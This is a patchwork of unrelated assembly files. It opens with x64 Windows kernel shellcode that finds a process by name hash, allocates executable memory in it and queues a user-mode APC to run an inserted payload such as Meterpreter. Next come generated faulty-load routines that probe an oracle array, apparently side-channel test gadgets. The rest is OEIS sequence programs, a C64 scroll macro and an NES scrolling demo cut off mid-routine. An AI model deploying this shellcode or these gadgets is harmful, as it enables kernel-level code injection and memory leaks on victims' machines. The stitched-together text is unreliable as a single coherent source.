; hash("KeStackAttachProcess") KEUNSTACKDETACHPROCESS_HASH equ 0x7db3b722 ; hash("KeUnstackDetachProcess") ZWALLOCATEVIRTUALMEMORY_HASH equ 0xee0aca4b ; hash("ZwAllocateVirtualMemory") EXALLOCATEPOOL_HASH equ 0x9150ac26 ; hash("ExAllocatePool") OBFDEREFERENCEOBJECT_HASH equ 0x764dc812 ; hash("ObfDereferenceObject") KERNEL32_DLL_HASH equ 0x92af16da ; hash_U(L"kernel32.dll", len) ; now the shellcode begins payload_start: %ifdef SYSCALL_OVERWRITE syscall_overwrite: %endif x64_kernel_start: ; Some "globals", which should not be clobbered, these are also ABI non-volatile ; ---------------------------------------------- ; r15 = ntoskrnl.exe base address (DOS MZ header) ; r14 = &x64_kernel_start ; r13 = PID/PEPROCESS of injected process ; rbp = current rsp %ifdef CLEAR_DIRECTION_FLAG cld %endif ; we will restore non-volatile registers push rsi ; save clobbered registers push r15 ; r15 = ntoskernl.exe push r14 ; r14 = &x64_kernel_start push r13 ; r13 = PID/EPROCESS push rbp mov rbp, rsp ; we'll use the base pointer and sp, 0xFFF0 ; align stack to ABI boundary sub rsp, 0x20 ; reserve shadow stack lea r14, [rel x64_kernel_start] ; for use in pointers ; this stub loads ntoskrnl.exe into r15 x64_find_nt_idt: mov r15, qword [gs:0x38] ; get IdtBase of KPCR mov r15, qword [r15 + 0x4] ; get ISR address shr r15, 0xc ; strip to page size shl r15, 0xc _x64_find_nt_idt_walk_page: sub r15, 0x1000 ; walk along page size mov rsi, qword [r15] cmp si, 0x5a4d ; 'MZ' header jne _x64_find_nt_idt_walk_page ; now we need to find the EPROCESS to inject into x64_find_process_name: xor r13d, r13d _x64_find_process_name_loop_pid: mov ecx, r13d add ecx, 0x4 %ifdef MAX_PID cmp ecx, MAX_PID jge kernel_exit %endif mov rdx, r14 ; PEPROCESS* mov r13d, ecx ; save current PID ; PsLookupProcessById(dwPID, &x64_kernel_start); mov r11d, PSLOOKUPPROCESSBYPROCESSID_HASH call x64_block_api_direct test eax, eax ; see if STATUS_SUCCESS jnz _x64_find_process_name_loop_pid mov rcx, [r14] ; *rcx = *PEPROCESS ; PsGetProcessImageFileName(*(&x64_kernel_start)); mov r11d, PSGETPROCESSIMAGEFILENAME_HASH call x64_block_api_direct mov rsi, rax call x64_calc_hash ; mov rcx, r13 ; restore dwPID cmp r9d, PROCESS_HASH jne _x64_find_process_name_loop_pid x64_attach_process: ; mov r13, [r14] ; r13 = EPROCESS mov rdx, r14 ; rdx = (PRKAPC_STATE)&x64_kernel_start mov rcx, [r14] ; rcx = PEPROCESS ; KeStackAttachProcess(PEPROCESS, &x64_kernel_start); mov r11d, KESTACKATTACHPROCESS_HASH call x64_block_api_direct mov r13, [r14] ; r13 = PRKAPC_STATE ; ZwAllocateVirtualMemory push 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; AllocationType lea r9, [r14 + 8] ; r9 = pRegionSize mov qword [r9], 0x1000 ; *pRegionSize = 0x1000 xor r8, r8 ; ZeroBits = 0 mov rdx, r14 ; rdx = BaseAddress xor ecx, ecx mov qword [rdx], rcx ; set *BaseAddress = NULL not rcx ; rcx = 0xffffffffffffffff ; ZwAllocateVirtualMemory(-1, &baseAddr, 0, 0x1000, 0x1000, 0x40); mov r11d, ZWALLOCATEVIRTUALMEMORY_HASH sub rsp, 0x20 ; we have to reserve new shadow stack call x64_block_api_direct %ifdef ERROR_CHECKS test eax, eax jnz kernel_exit %endif ; rep movs kernel -> userland mov rdi, [r14] lea rsi, [rel userland_start] xor ecx, ecx add cx, word [rel userland_payload_size] ; size of payload userland add cx, userland_payload - userland_start ; size of our userland rep movsb ;%include "./src/kernel/calc_thread_delta.asm" ; Teb loop ; ExAllocatePool(POOL_TYPE.NonPagedPool, 0x90); xor edx, edx add dl, 0x90 xor ecx, ecx mov r11d, EXALLOCATEPOOL_HASH call x64_block_api_direct mov r12, rax mov r11d, KEGETCURRENTTHREAD_HASH call x64_block_api_direct ; KeInitializeApc(rcx = apc, ; rdx = pThread, ; r8 = NULL = OriginalApcEnvironment, ; r9 = KernelApcRoutine, ; NULL, ; InjectionShellCode, ; 1 /* UserMode */, ; NULL /* Context */); mov rcx, r12 ; pool APC lea r9, [rcx + 0x80] ; dummy kernel APC function mov byte [r9], 0xc3 ; ret lea rdx, [rax] ; pThread; xor r8, r8 ; OriginalApcEnvironment = NULL push r8 ; Context = NULL push 0x1 ; UserMode mov rax, [r14] push rax ; userland shellcode push r8 ; NULL sub rsp, 0x20 mov r11d, KEINITIALIZEAPC_HASH call x64_block_api_direct ; KeInsertQueueApc(pAPC, NULL, NULL, NULL); xor r8, r8 xor r9, r9 xor rdx, rdx mov rcx, r12 mov r11d, KEINSERTQUEUEAPC_HASH call x64_block_api_direct ; KeUnstackDetachProcess(pApcState) mov rcx, r13 mov r11d, KEUNSTACKDETACHPROCESS_HASH call x64_block_api_direct ; ObfDereferenceObject kernel_exit: mov rsp, rbp pop r13 pop r14 pop r15 pop rsi ; restore clobbered registers and return pop rbp ret userland_start: x64_userland_start: jmp x64_userland_start_thread ; user and kernel mode re-use this code x64_calc_hash: xor r9, r9 _x64_calc_hash_loop: xor eax, eax lodsb ; Read in the next byte of the ASCII function name ror r9d, 13 ; Rotate right our hash value cmp al, 'a' jl _x64_calc_hash_not_lowercase sub al, 0x20 ; If so normalise to uppercase _x64_calc_hash_not_lowercase: add r9d, eax ; Add the next byte of the name cmp al, ah ; Compare AL to AH (\0) jne _x64_calc_hash_loop ret x64_block_find_dll: xor edx, edx mov rdx, [gs:rdx + 96] mov rdx, [rdx + 24] ; PEB->Ldr mov rdx, [rdx + 32] ; InMemoryOrder list _x64_block_find_dll_next_mod: mov rdx, [rdx] mov rsi, [rdx + 80] ; unicode string movzx rcx, word [rdx + 74] ; rcx = len xor r9d, r9d _x64_block_find_dll_loop_mod_name: xor eax, eax lodsb cmp al, 'a' jl _x64_block_find_dll_not_lowercase sub al, 0x20 _x64_block_find_dll_not_lowercase: ror r9d, 13 add r9d, eax loop _x64_block_find_dll_loop_mod_name cmp r9d, r11d jnz _x64_block_find_dll_next_mod mov rax, [rdx + 32] ret x64_block_api_direct: mov rax, r15 ; make copy of module push r9 ; Save parameters push r8 push rdx push rcx mov rdx, rax mov eax, dword [rdx+60] ; Get PE header e_lfanew add rax, rdx mov eax, dword [rax+136] ; Get export tables RVA %ifdef ERROR_CHECKS ; test rax, rax ; EAT not found ; jz _block_api_not_found %endif add rax, rdx push rax ; save EAT mov ecx, dword [rax+24] ; NumberOfFunctions mov r8d, dword [rax+32] ; FunctionNames add r8, rdx _x64_block_api_direct_get_next_func: ; When we reach the start of the EAT (we search backwards), we hang or crash dec rcx ; decrement NumberOfFunctions mov esi, dword [r8+rcx*4] ; Get rva of next module name add rsi, rdx ; Add the modules base address call x64_calc_hash cmp r9d, r11d ; Compare the hashes jnz _x64_block_api_direct_get_next_func ; try the next function _x64_block_api_direct_finish: pop rax ; restore EAT mov r8d, dword [rax+36] add r8, rdx ; ordinate table virtual address mov cx, [r8+2*rcx] ; desired functions ordinal mov r8d, dword [rax+28] ; Get the function addresses table rva add r8, rdx ; Add the modules base address mov eax, dword [r8+4*rcx] ; Get the desired functions RVA add rax, rdx ; Add the modules base address to get the functions actual VA pop rcx pop rdx pop r8 pop r9 pop r11 ; pop ret addr ; sub rsp, 0x20 ; shadow space push r11 ; push ret addr jmp rax x64_userland_start_thread: mov r11d, KERNEL32_DLL_HASH call x64_block_find_dll mov r15, rax xor ecx, ecx push rcx push rcx push rcx ; lpThreadId = NULL push rcx ; dwCreationFlags = 0 pop r9 ; lpParameter = NULL lea r8, [rel userland_payload] ; lpStartAddr = &threadstart pop rdx ; lpThreadAttributes = NULL mov r11d, CREATETHREAD_HASH ; hash("CreateThread") call x64_block_api_direct ; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL); add rsp, 48 ; RSP will be off ret threadstart: ; ret userland_payload_size: db 0x00 db 0x00 userland_payload: ; insert userland payload here ; such as meterpreter ; or reflective dll with the metasploit MZ pre-stub
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x475e, %rbp clflush (%rbp) nop nop nop nop add %r13, %r13 mov $0x6162636465666768, %r10 movq %r10, %xmm3 vmovups %ymm3, (%rbp) nop nop nop nop nop mfence lea addresses_WC_ht+0x19253, %rsi lea addresses_normal_ht+0x17ebe, %rdi nop nop nop nop xor %r12, %r12 mov $19, %rcx rep movsq nop nop nop nop nop add $14826, %rbp lea addresses_D_ht+0x9ede, %r10 clflush (%r10) nop nop nop nop nop sub $56439, %r12 movl $0x61626364, (%r10) nop nop dec %r12 lea addresses_normal_ht+0xfdbe, %rdi nop nop nop xor $9043, %rsi mov $0x6162636465666768, %rbp movq %rbp, %xmm0 movups %xmm0, (%rdi) nop nop xor %r10, %r10 lea addresses_A_ht+0x173de, %r12 clflush (%r12) nop nop nop nop and $45457, %r13 movw $0x6162, (%r12) sub $35646, %r13 lea addresses_WT_ht+0x74be, %r10 nop nop dec %r12 vmovups (%r10), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $0, %xmm0, %rbp nop nop nop nop nop sub %rcx, %rcx lea addresses_WT_ht+0x12ebe, %rsi lea addresses_UC_ht+0x32be, %rdi clflush (%rdi) nop cmp %rbx, %rbx mov $39, %rcx rep movsq nop nop nop xor %rsi, %rsi lea addresses_UC_ht+0x1035c, %rsi lea addresses_UC_ht+0x14cd0, %rdi nop nop mfence mov $115, %rcx rep movsb cmp $18088, %rcx lea addresses_normal_ht+0x1e93e, %rsi lea addresses_A_ht+0x1947f, %rdi nop add $37335, %rbp mov $46, %rcx rep movsq nop add $1036, %rcx lea addresses_UC_ht+0x17c3e, %rsi lea addresses_UC_ht+0xbfbe, %rdi nop nop nop add $38915, %r10 mov $105, %rcx rep movsq inc %rdi lea addresses_UC_ht+0x1a72a, %rbx nop and %rdi, %rdi mov $0x6162636465666768, %r12 movq %r12, %xmm5 and $0xffffffffffffffc0, %rbx movaps %xmm5, (%rbx) nop nop nop nop add %rbp, %rbp lea addresses_WT_ht+0x1cb5e, %r13 nop cmp $44769, %r12 and $0xffffffffffffffc0, %r13 vmovaps (%r13), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $1, %xmm3, %rbp xor %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %rax push %rdi push %rdx push %rsi // Store lea addresses_PSE+0x7d06, %r11 cmp %rsi, %rsi movb $0x51, (%r11) nop nop nop nop nop sub $17181, %rax // Store lea addresses_RW+0x4b5a, %rdx add %r12, %r12 movw $0x5152, (%rdx) nop nop dec %r11 // Store lea addresses_WT+0x7c4, %r12 nop nop nop nop xor $13900, %r11 movb $0x51, (%r12) nop nop nop and %rax, %rax // Store mov $0x6be, %r14 nop nop nop nop nop sub %rdx, %rdx mov $0x5152535455565758, %rax movq %rax, %xmm2 vmovaps %ymm2, (%r14) nop nop nop inc %r12 // Faulty Load lea addresses_A+0xaebe, %r14 nop nop nop nop nop inc %rdi mov (%r14), %rdx lea oracles, %rdi and $0xff, %rdx shlq $12, %rdx mov (%rdi,%rdx,1), %rdx pop %rsi pop %rdx pop %rdi pop %rax pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 2}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': True, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': True, 'type': 'addresses_P', 'same': False, 'AVXalign': True, 'congruent': 10}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 8, 'NT': True, 'type': 'addresses_A', 'same': True, 'AVXalign': True, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 4}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 0}, 'dst': {'same': True, 'type': 'addresses_normal_ht', 'congruent': 10}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': True, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': True, 'congruent': 4}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_WT_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 10}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 1}, 'dst': {'same': True, 'type': 'addresses_UC_ht', 'congruent': 1}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 7}, 'dst': {'same': True, 'type': 'addresses_A_ht', 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 1}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': True, 'congruent': 2}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': True, 'congruent': 5}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r9 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_normal_ht+0xe80a, %r9 nop add %r11, %r11 mov $0x6162636465666768, %rdi movq %rdi, %xmm4 movups %xmm4, (%r9) cmp $41654, %r9 lea addresses_WT_ht+0x54e1, %rcx xor $29038, %r10 mov (%rcx), %rax nop nop nop nop and %r9, %r9 lea addresses_WC_ht+0x873d, %r11 nop nop nop nop nop xor %rbp, %rbp mov (%r11), %r10d nop nop nop nop inc %r11 lea addresses_WT_ht+0x1a369, %rsi lea addresses_normal_ht+0x2599, %rdi nop nop cmp %rax, %rax mov $72, %rcx rep movsb nop nop sub $50620, %rcx lea addresses_WT_ht+0xe1, %rsi clflush (%rsi) nop inc %rbp movb (%rsi), %al nop sub %rcx, %rcx lea addresses_normal_ht+0x1aa1d, %r9 nop nop nop nop and %rdi, %rdi movb $0x61, (%r9) nop cmp %r11, %r11 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r15 push %rbx push %rcx push %rdx push %rsi // Store mov $0x100ae700000000e1, %rbx nop nop nop nop nop and $65496, %rcx mov $0x5152535455565758, %r13 movq %r13, (%rbx) nop nop nop nop nop cmp %rsi, %rsi // Store lea addresses_D+0xf6e1, %rsi nop nop nop and $11532, %rdx mov $0x5152535455565758, %r12 movq %r12, %xmm5 vmovups %ymm5, (%rsi) nop nop nop nop nop add %rsi, %rsi // Load lea addresses_WC+0x1b3d1, %rdx nop nop cmp %rcx, %rcx movaps (%rdx), %xmm2 vpextrq $0, %xmm2, %r15 nop nop sub %r12, %r12 // Load mov $0x961, %r15 nop nop nop cmp %rbx, %rbx movntdqa (%r15), %xmm0 vpextrq $1, %xmm0, %rsi nop nop nop nop nop sub $22723, %rdx // Faulty Load lea addresses_US+0x178e1, %r13 nop nop sub $43152, %rbx mov (%r13), %r12w lea oracles, %rbx and $0xff, %r12 shlq $12, %r12 mov (%rbx,%r12,1), %r12 pop %rsi pop %rdx pop %rcx pop %rbx pop %r15 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_US', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_NC', 'same': False, 'size': 8, 'congruent': 10, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D', 'same': False, 'size': 32, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_P', 'same': False, 'size': 16, 'congruent': 7, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_US', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': True}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 11, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'00': 22} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; A081105: 5th binomial transform of (1,1,0,0,0,0,.....). ; 1,6,35,200,1125,6250,34375,187500,1015625,5468750,29296875,156250000,830078125,4394531250,23193359375,122070312500,640869140625,3356933593750,17547607421875,91552734375000,476837158203125 mov $1,5 pow $1,$0 add $0,5 mul $1,$0 div $1,5 mov $0,$1
; A211004: Number of distinct regions in the set of partitions of n. ; 1,2,3,5,7,9,12,15,18,22,26,30,35,40,45,51 add $0,3 bin $0,2 div $0,3
; A040884: Continued fraction for sqrt(915). ; 30,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60 mov $1,$0 cmp $0,0 sub $1,$0 gcd $1,2 add $1,12 add $0,$1 mul $0,$1 sub $0,168 add $0,$1 sub $0,12 mul $0,2
; A024482: a(n) = (1/2)*(binomial(2n, n) - binomial(2n-2, n-1)). ; 2,7,25,91,336,1254,4719,17875,68068,260338,999362,3848222,14858000,57500460,222981435,866262915,3370764540,13135064250,51250632510,200205672810,782920544640,3064665881940,12007086477750,47081501377326 mov $4,2 mov $5,$0 lpb $4,1 mov $0,$5 sub $4,1 add $0,$4 sub $0,1 mov $3,$0 add $3,3 mov $6,$0 add $0,$3 add $6,2 bin $0,$6 sub $0,1 mov $2,$0 mov $7,$4 lpb $7,1 mov $1,$2 sub $7,1 lpe lpe lpb $5,1 sub $1,$2 mov $5,0 lpe
#import "common/lib/invoke.asm" #import "common/lib/mem.asm" #importonce .filenamespace c64lib /* * Stack parameters (order of pushing): * screenAddress PTR * textAddress PTR * textPtr WORD */ .macro scroll1x1(tempZero1) { .assert "tempZero1 must be a zero page address", tempZero1 <= 255, true .print "tempZero1 installed at " + toHexString(tempZero1) + " and " + toHexString(tempZero1 + 1) invokeStackBegin(returnPtr) pullParamW(scrollPtr) pullParamW(textPtr) pullParamW(screenPtr) // shift text to left copyFast(screenPtr, tempZero1, 2) #if C64LIB_SPEED_CODE ldy #$01 .for(var i = 0; i < 39; i++) { // speed copy of 39 characters lda (tempZero1), y dey sta (tempZero1), y iny iny } #else ldy #$00 shiftText: iny lda (tempZero1), y dey sta (tempZero1), y iny cpy #39 bne shiftText #endif // place next char copyFast(scrollPtr, tempZero1, 2) ldy #$00 lda (tempZero1), y cmp #$ff bne placeChar copyFast(textPtr, scrollPtr, 2) copyFast(scrollPtr, tempZero1, 2) lda (tempZero1), y placeChar: sta lastChar add16(39, screenPtr) copyFast(screenPtr, tempZero1, 2) lda lastChar ldy #$00 sta (tempZero1), y add16(1, scrollPtr) pushParamWInd(scrollPtr) invokeStackEnd(returnPtr) rts // local variables returnPtr: .word $ffff scrollPtr: .word $ffff textPtr: .word $ffff screenPtr: .word $ffff lastChar: .byte $ff }
.target "6502" .format "nes" .setting "NESMapper", 0 .setting "NESVerticalMirroring", true .setting "ShowLabelsAfterCompiling", true .setting "ShowLocalLabelsAfterCompiling", true .setting "LaunchCommand", "c:\\emulation\\fceux.exe {0}" .setting "DebugCommand", "c:\\emulation\\fceux.exe {0}" ;;;;;;;;;;;;;;; ;; DECLARE SOME VARIABLES HERE .segment "RAM" .org $0000 ;;start variables at ram location 0 scroll .ds 1 ; horizontal scroll count nametable .ds 1 ; which nametable to use, 0 or 1 columnLow .ds 1 ; low byte of new column address columnHigh .ds 1 ; high byte of new column address sourceLow .ds 1 ; source for column data sourceHigh .ds 1 columnNumber .ds 1 ; which column of level data to draw ;;;;;;;;;;;; .bank 0, 16, $C000, "NES_PRG0" ; these should always be 16kb for PRG, 8kb for CHR ; in tutorials the number of these should match ; the number in the inesprg/ineschr directives .segment "MAIN_CODE" ; Replaces the bank directive from nesasm format .org $C000 RESET: SEI ; disable IRQs CLD ; disable decimal mode LDX #$40 STX $4017 ; disable APU frame IRQ LDX #$FF TXS ; Set up stack INX ; now X = 0 STX $2000 ; disable NMI STX $2001 ; disable rendering STX $4010 ; disable DMC IRQs vblankwait1: ; First wait for vblank to make sure PPU is ready BIT $2002 BPL vblankwait1 clrmem: LDA #$00 STA $0000, x STA $0100, x STA $0300, x STA $0400, x STA $0500, x STA $0600, x STA $0700, x LDA #$FE STA $0200, x INX BNE clrmem vblankwait2: ; Second wait for vblank, PPU is ready after this BIT $2002 BPL vblankwait2 LoadPalettes: LDA $2002 ; read PPU status to reset the high/low latch LDA #$3F STA $2006 ; write the high byte of $3F00 address LDA #$00 STA $2006 ; write the low byte of $3F00 address LDX #$00 ; start out at 0 LoadPalettesLoop: LDA palette, x ; load data from address (palette + the value in x) STA $2007 ; write to PPU INX ; X = X + 1 CPX #$20 ; Compare X to hex $10, decimal 16 - copying 16 bytes = 4 sprites BNE LoadPalettesLoop ; Branch to LoadPalettesLoop if compare was Not Equal to zero ; if compare was equal to 32, keep going down LoadSprites: LDX #$00 ; start at 0 LoadSpritesLoop: LDA sprites, x ; load data from address (sprites + x) STA $0200, x ; store into RAM address ($0200 + x) INX ; X = X + 1 CPX #$10 ; Compare X to hex $20, decimal 16 BNE LoadSpritesLoop ; Branch to LoadSpritesLoop if compare was Not Equal to zero ; if compare was equal to 16, keep going down InitializeNametables: LDA #$01 STA nametable LDA #$00 STA scroll STA columnNumber InitializeNametablesLoop: JSR DrawNewColumn ; draw bg column LDA scroll ; go to next column CLC ADC #$08 STA scroll INC columnNumber LDA columnNumber ; repeat to fill out first nametable CMP #$20 BNE InitializeNametablesLoop LDA #$00 STA nametable LDA #$00 STA scroll JSR DrawNewColumn ; draw first column of second nametable INC columnNumber LDA #$00 ; set back to increment +1 mode STA $2000 InitializeNametablesDone: InitializeAttributes: LDA #$01 STA nametable LDA #$00 STA scroll STA columnNumber InitializeAttributesLoop: JSR DrawNewAttributes ; draw attribs LDA scroll ; go to next column CLC ADC #$20 STA scroll LDA columnNumber ; repeat to fill out first nametable CLC ADC #$04 STA columnNumber CMP #$20 BNE InitializeAttributesLoop LDA #$00 STA nametable LDA #$00 STA scroll JSR DrawNewAttributes ; draw first column of second nametable InitializeAttributesDone: LDA #$21 STA columnNumber LDA #%10010000 ; enable NMI, sprites from Pattern Table 0, background from Pattern Table 1 STA $2000 LDA #%00011110 ; enable sprites, enable background, no clipping on left side STA $2001 Forever: JMP Forever ;jump back to Forever, infinite loop NMIHandler: INC scroll ; add one to our scroll variable each frame INC scroll INC scroll INC scroll INC scroll INC scroll INC scroll INC scroll ; tried out going up to a full tile every frame ; works just fine since we still have the offscreen ; section. Going more than a tile a frame breaks down. ; You get graphical glitches due to the math being off NTSwapCheck: LDA scroll ; check if the scroll just wrapped from 255 to 0 BNE NTSwapCheckDone NTSwap: LDA nametable ; load current nametable number (0 or 1) EOR #$01 ; exclusive OR of bit 0 will flip that bit STA nametable ; so if nametable was 0, now 1 ; if nametable was 1, now 0 NTSwapCheckDone: NewAttribCheck: LDA scroll AND #%00011111 ; check for multiple of 32 BNE NewAttribCheckDone ; if low 5 bits = 0, time to write new attribute bytes JSR DrawNewAttributes NewAttribCheckDone: NewColumnCheck: LDA scroll AND #%00000111 ; throw away higher bits to check for multiple of 8 BNE NewColumnCheckDone ; done if lower bits != 0 JSR DrawNewColumn ; if lower bits = 0, time for new column LDA columnNumber CLC ADC #$01 ; go to next column AND #%01111111 ; only 128 columns of data, throw away top bit to wrap STA columnNumber NewColumnCheckDone: LDA #$00 STA $2003 LDA #$02 STA $4014 ; sprite DMA from $0200 ; run other game graphics 